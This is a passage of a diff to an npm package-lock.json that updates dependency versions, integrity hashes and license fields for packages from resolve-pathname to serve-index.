-      "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
-      "engines": {
-        "node": ">=4"
-      }
-    },
     "node_modules/resolve-pathname": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-3.0.0.tgz",
-      "integrity": "sha512-C7rARubxI8bXFNB/hqcp/4iUeIXJhJZvFPFPiSPRnhU5UPxzMFIl+2E6yY6c4k9giDJAhtV+enfA+G89N6Csng=="
+      "integrity": "sha512-C7rARubxI8bXFNB/hqcp/4iUeIXJhJZvFPFPiSPRnhU5UPxzMFIl+2E6yY6c4k9giDJAhtV+enfA+G89N6Csng==",
+      "license": "MIT"
     },
     "node_modules/resolve-url-loader": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/resolve-url-loader/-/resolve-url-loader-4.0.0.tgz",
       "integrity": "sha512-05VEMczVREcbtT7Bz+C+96eUO5HDNvdthIiMB34t7FcF8ehcu4wC0sSgPUubs3XW2Q3CNLJk/BJrCU9wVRymiA==",
+      "license": "MIT",
       "dependencies": {
         "adjust-sourcemap-loader": "^4.0.0",
         "convert-source-map": "^1.7.0",
@@ -16190,17 +15557,20 @@
     "node_modules/resolve-url-loader/node_modules/convert-source-map": {
       "version": "1.9.0",
       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
-      "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A=="
+      "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
+      "license": "MIT"
     },
     "node_modules/resolve-url-loader/node_modules/picocolors": {
       "version": "0.2.1",
       "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz",
-      "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA=="
+      "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==",
+      "license": "ISC"
     },
     "node_modules/resolve-url-loader/node_modules/postcss": {
       "version": "7.0.39",
       "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz",
       "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==",
+      "license": "MIT",
       "dependencies": {
         "picocolors": "^0.2.1",
         "source-map": "^0.6.1"
@@ -16217,6 +15587,7 @@
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -16225,6 +15596,7 @@
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-1.1.1.tgz",
       "integrity": "sha512-/NtpHNDN7jWhAaQ9BvBUYZ6YTXsRBgfqWFWP7BZBaoMJO/I3G5OFzvTuWNlZC3aPjins1F+TNrLKsGbH4rfsRQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       }
@@ -16234,6 +15606,7 @@
       "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz",
       "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "onetime": "^5.1.0",
         "signal-exit": "^3.0.2"
@@ -16246,29 +15619,34 @@
       "version": "0.13.1",
       "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz",
       "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==",
+      "license": "MIT",
       "engines": {
         "node": ">= 4"
       }
     },
     "node_modules/reusify": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
-      "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz",
+      "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==",
+      "license": "MIT",
       "engines": {
         "iojs": ">=1.0.0",
         "node": ">=0.10.0"
       }
     },
     "node_modules/rfdc": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.3.1.tgz",
-      "integrity": "sha512-r5a3l5HzYlIC68TpmYKlxWjmOP6wiPJ1vWv2HeLhNsRZMrCkxeqxiHlQ21oXmQ4F3SiryXBHhAD7JZqvOJjFmg==",
-      "dev": true
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz",
+      "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/rimraf": {
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
       "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+      "deprecated": "Rimraf versions prior to v4 are no longer supported",
+      "license": "ISC",
       "dependencies": {
         "glob": "^7.1.3"
       },
@@ -16280,9 +15658,10 @@
       }
     },
     "node_modules/rollup": {
-      "version": "2.79.1",
-      "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.79.1.tgz",
-      "integrity": "sha512-uKxbd0IhMZOhjAiD5oAFp7BqvkA4Dv47qpOCtaNvng4HBwdbWtdOh8f5nZNuk2rp51PMGk3bzfWu5oayNEuYnw==",
+      "version": "2.79.2",
+      "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.79.2.tgz",
+      "integrity": "sha512-fS6iqSPZDs3dr/y7Od6y5nha8dW1YnbgtsyotCVvoFGKbERG++CVRFv1meyGDE1SNItQA8BrnCw7ScdAhRJ3XQ==",
+      "license": "MIT",
       "bin": {
         "rollup": "dist/bin/rollup"
       },
@@ -16298,6 +15677,7 @@
       "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz",
       "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==",
       "deprecated": "This package has been deprecated and is no longer maintained. Please use @rollup/plugin-terser",
+      "license": "MIT",
       "dependencies": {
         "@babel/code-frame": "^7.10.4",
         "jest-worker": "^26.2.1",
@@ -16308,18 +15688,11 @@
         "rollup": "^2.0.0"
       }
     },
-    "node_modules/rollup-plugin-terser/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/rollup-plugin-terser/node_modules/jest-worker": {
       "version": "26.6.2",
       "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz",
       "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*",
         "merge-stream": "^2.0.0",
@@ -16333,21 +15706,11 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
       "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "randombytes": "^2.1.0"
       }
     },
-    "node_modules/rollup-plugin-terser/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/run-parallel": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
@@ -16366,6 +15729,7 @@
           "url": "https://feross.org/support"
         }
       ],
+      "license": "MIT",
       "dependencies": {
         "queue-microtask": "^1.2.2"
       }
@@ -16373,25 +15737,29 @@
     "node_modules/rvfc-polyfill": {
       "version": "1.0.7",
       "resolved": "https://registry.npmjs.org/rvfc-polyfill/-/rvfc-polyfill-1.0.7.tgz",
-      "integrity": "sha512-seBl7J1J3/k0LuzW2T9fG6JIOpni5AbU+/87LA+zTYKgTVhsfShmS8K/yOo1eeEjGJHnAdkVAUUM+PEjN9Mpkw=="
+      "integrity": "sha512-seBl7J1J3/k0LuzW2T9fG6JIOpni5AbU+/87LA+zTYKgTVhsfShmS8K/yOo1eeEjGJHnAdkVAUUM+PEjN9Mpkw==",
+      "license": "GPL-3.0"
     },
     "node_modules/rxjs": {
-      "version": "7.8.1",
-      "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.1.tgz",
-      "integrity": "sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==",
+      "version": "7.8.2",
+      "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.2.tgz",
+      "integrity": "sha512-dhKf903U/PQZY6boNNtAGdWbG85WAbjT/1xYoZIC7FAY0yWapOBQVsVrDl58W86//e1VpMNBtRV4MaXfdMySFA==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "tslib": "^2.1.0"
       }
     },
     "node_modules/safe-array-concat": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.0.tgz",
-      "integrity": "sha512-ZdQ0Jeb9Ofti4hbt5lX3T2JcAamT9hfzYU1MNB+z/jaEbB6wfFfPIR/zEORmZqobkCCJhSjodobH6WHNmJ97dg==",
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz",
+      "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.5",
-        "get-intrinsic": "^1.2.2",
-        "has-symbols": "^1.0.3",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.2",
+        "get-intrinsic": "^1.2.6",
+        "has-symbols": "^1.1.0",
         "isarray": "^2.0.5"
       },
       "engines": {
@@ -16401,6 +15769,12 @@
         "url": "https://github.com/sponsors/ljharb"
       }
     },
+    "node_modules/safe-array-concat/node_modules/isarray": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
+      "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
+      "license": "MIT"
+    },
     "node_modules/safe-buffer": {
       "version": "5.2.1",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
@@ -16418,16 +15792,40 @@
           "type": "consulting",
           "url": "https://feross.org/support"
         }
-      ]
+      ],
+      "license": "MIT"
+    },
+    "node_modules/safe-push-apply": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz",
+      "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "isarray": "^2.0.5"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/safe-push-apply/node_modules/isarray": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
+      "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
+      "license": "MIT"
     },
     "node_modules/safe-regex-test": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.3.tgz",
-      "integrity": "sha512-CdASjNJPvRa7roO6Ra/gLYBTzYzzPyyBXxIMdGW3USQLyjWEls2RgW5UBTXaQVp+OrpeCK3bLem8smtmheoRuw==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz",
+      "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.6",
+        "call-bound": "^1.0.2",
         "es-errors": "^1.3.0",
-        "is-regex": "^1.1.4"
+        "is-regex": "^1.2.1"
       },
       "engines": {
         "node": ">= 0.4"
@@ -16439,20 +15837,23 @@
     "node_modules/safer-buffer": {
       "version": "2.1.2",
       "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
-      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
+      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
+      "license": "MIT"
     },
     "node_modules/sanitize.css": {
       "version": "13.0.0",
       "resolved": "https://registry.npmjs.org/sanitize.css/-/sanitize.css-13.0.0.tgz",
-      "integrity": "sha512-ZRwKbh/eQ6w9vmTjkuG0Ioi3HBwPFce0O+v//ve+aOq1oeCy7jMV2qzzAlpsNuqpqCBjjriM1lbtZbF/Q8jVyA=="
+      "integrity": "sha512-ZRwKbh/eQ6w9vmTjkuG0Ioi3HBwPFce0O+v//ve+aOq1oeCy7jMV2qzzAlpsNuqpqCBjjriM1lbtZbF/Q8jVyA==",
+      "license": "CC0-1.0"
     },
     "node_modules/sass": {
-      "version": "1.71.0",
-      "resolved": "https://registry.npmjs.org/sass/-/sass-1.71.0.tgz",
-      "integrity": "sha512-HKKIKf49Vkxlrav3F/w6qRuPcmImGVbIXJ2I3Kg0VMA+3Bav+8yE9G5XmP5lMj6nl4OlqbPftGAscNaNu28b8w==",
+      "version": "1.89.2",
+      "resolved": "https://registry.npmjs.org/sass/-/sass-1.89.2.tgz",
+      "integrity": "sha512-xCmtksBKd/jdJ9Bt9p7nPKiuqrlBMBuuGkQlkhZjjQk3Ty48lv93k5Dq6OPkKt4XwxDJ7tvlfrTa1MPA9bf+QA==",
+      "license": "MIT",
       "dependencies": {
-        "chokidar": ">=3.0.0 <4.0.0",
-        "immutable": "^4.0.0",
+        "chokidar": "^4.0.0",
+        "immutable": "^5.0.2",
         "source-map-js": ">=0.6.2 <2.0.0"
       },
       "bin": {
@@ -16460,12 +15861,16 @@
       },
       "engines": {
         "node": ">=14.0.0"
+      },
+      "optionalDependencies": {
+        "@parcel/watcher": "^2.4.1"
       }
     },
     "node_modules/sass-loader": {
       "version": "12.6.0",
       "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-12.6.0.tgz",
       "integrity": "sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==",
+      "license": "MIT",
       "dependencies": {
         "klona": "^2.0.4",
         "neo-async": "^2.6.2"
@@ -16499,15 +15904,45 @@
         }
       }
     },
+    "node_modules/sass/node_modules/chokidar": {
+      "version": "4.0.3",
+      "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz",
+      "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==",
+      "license": "MIT",
+      "dependencies": {
+        "readdirp": "^4.0.1"
+      },
+      "engines": {
+        "node": ">= 14.16.0"
+      },
+      "funding": {
+        "url": "https://paulmillr.com/funding/"
+      }
+    },
+    "node_modules/sass/node_modules/readdirp": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.1.2.tgz",
+      "integrity": "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 14.18.0"
+      },
+      "funding": {
+        "type": "individual",
+        "url": "https://paulmillr.com/funding/"
+      }
+    },
     "node_modules/sax": {
       "version": "1.2.1",
       "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.1.tgz",
-      "integrity": "sha512-8I2a3LovHTOpm7NV5yOyO8IHqgVsfK4+UuySrXU8YXkSRX7k6hCV9b3HrkKCr3nMpgj+0bmocaJJWpvp1oc7ZA=="
+      "integrity": "sha512-8I2a3LovHTOpm7NV5yOyO8IHqgVsfK4+UuySrXU8YXkSRX7k6hCV9b3HrkKCr3nMpgj+0bmocaJJWpvp1oc7ZA==",
+      "license": "ISC"
     },
     "node_modules/saxes": {
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz",
       "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==",
+      "license": "ISC",
       "dependencies": {
         "xmlchars": "^2.2.0"
       },
@@ -16519,19 +15954,22 @@
       "version": "0.20.2",
       "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.20.2.tgz",
       "integrity": "sha512-2eWfGgAqqWFGqtdMmcL5zCMK1U8KlXv8SQFGglL3CEtd0aDVDWgeF/YoCmvln55m5zSk3J/20hTaSBeSObsQDQ==",
+      "license": "MIT",
       "dependencies": {
         "loose-envify": "^1.1.0",
         "object-assign": "^4.1.1"
       }
     },
     "node_modules/schema-utils": {
-      "version": "3.3.0",
-      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz",
-      "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==",
+      "version": "4.3.2",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.3.2.tgz",
+      "integrity": "sha512-Gn/JaSk/Mt9gYubxTtSn/QCV4em9mpAPiR1rqy/Ocu19u/G9J5WWdNoUT4SiV6mFC3y6cxyFcFwdzPM3FgxGAQ==",
+      "license": "MIT",
       "dependencies": {
-        "@types/json-schema": "^7.0.8",
-        "ajv": "^6.12.5",
-        "ajv-keywords": "^3.5.2"
+        "@types/json-schema": "^7.0.9",
+        "ajv": "^8.9.0",
+        "ajv-formats": "^2.1.1",
+        "ajv-keywords": "^5.1.0"
       },
       "engines": {
         "node": ">= 10.13.0"
@@ -16541,15 +15979,57 @@
         "url": "https://opencollective.com/webpack"
       }
     },
+    "node_modules/schema-utils/node_modules/ajv": {
+      "version": "8.17.1",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
+      "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
+      "license": "MIT",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.3",
+        "fast-uri": "^3.0.1",
+        "json-schema-traverse": "^1.0.0",
+        "require-from-string": "^2.0.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/schema-utils/node_modules/ajv-keywords": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+      "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+      "license": "MIT",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.3"
+      },
+      "peerDependencies": {
+        "ajv": "^8.8.2"
+      }
+    },
+    "node_modules/schema-utils/node_modules/fast-deep-equal": {
+      "version": "3.1.3",
+      "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
+      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
+      "license": "MIT"
+    },
+    "node_modules/schema-utils/node_modules/json-schema-traverse": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
+      "license": "MIT"
+    },
     "node_modules/select-hose": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz",
-      "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg=="
+      "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==",
+      "license": "MIT"
     },
     "node_modules/selfsigned": {
       "version": "2.4.1",
       "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-2.4.1.tgz",
       "integrity": "sha512-th5B4L2U+eGLq1TVh7zNRGBapioSORUeymIydxgFpwww9d2qyKvtuPU2jJuHvYAwwqi2Y596QBL3eEqcPEYL8Q==",
+      "license": "MIT",
       "dependencies": {
         "@types/node-forge": "^1.3.0",
         "node-forge": "^1"
@@ -16562,14 +16042,16 @@
       "version": "6.3.1",
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
     },
     "node_modules/send": {
-      "version": "0.18.0",
-      "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz",
-      "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==",
+      "version": "0.19.0",
+      "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz",
+      "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==",
+      "license": "MIT",
       "dependencies": {
         "debug": "2.6.9",
         "depd": "2.0.0",
@@ -16593,6 +16075,7 @@
       "version": "2.6.9",
       "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
       "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "license": "MIT",
       "dependencies": {
         "ms": "2.0.0"
       }
@@ -16600,17 +16083,23 @@
     "node_modules/send/node_modules/debug/node_modules/ms": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
+      "license": "MIT"
     },
-    "node_modules/send/node_modules/ms": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
-      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+    "node_modules/send/node_modules/encodeurl": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
+      "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.8"
+      }
     },
     "node_modules/serialize-javascript": {
       "version": "6.0.2",
       "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz",
       "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "randombytes": "^2.1.0"
       }
@@ -16619,6 +16108,7 @@
       "version": "1.9.1",
       "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz",
       "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==",
+      "license": "MIT",
       "dependencies": {
         "accepts": "~1.3.4",
         "batch": "0.6.1",
@@ -16636,6 +16126,7 @@
       "version": "2.6.9",
       "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
       "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "license": "MIT",
       "dependencies": {
         "ms": "2.0.0"
       }
@@ -16644,6 +16135,7 @@
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
       "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
@@ -16652,6 +16144,7 @@
       "version": "1.6.3",
       "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz",
       "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==",
+      "license": "MIT",
       "dependencies": {
         "depd": "~1.1.2",
         "inherits": "2.0.3",
@@ -16665,64 +16158,86 @@
     "node_modules/serve-index/node_modules/inherits": {
       "version": "2.0.3",
       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
-      "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw=="
+      "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==",
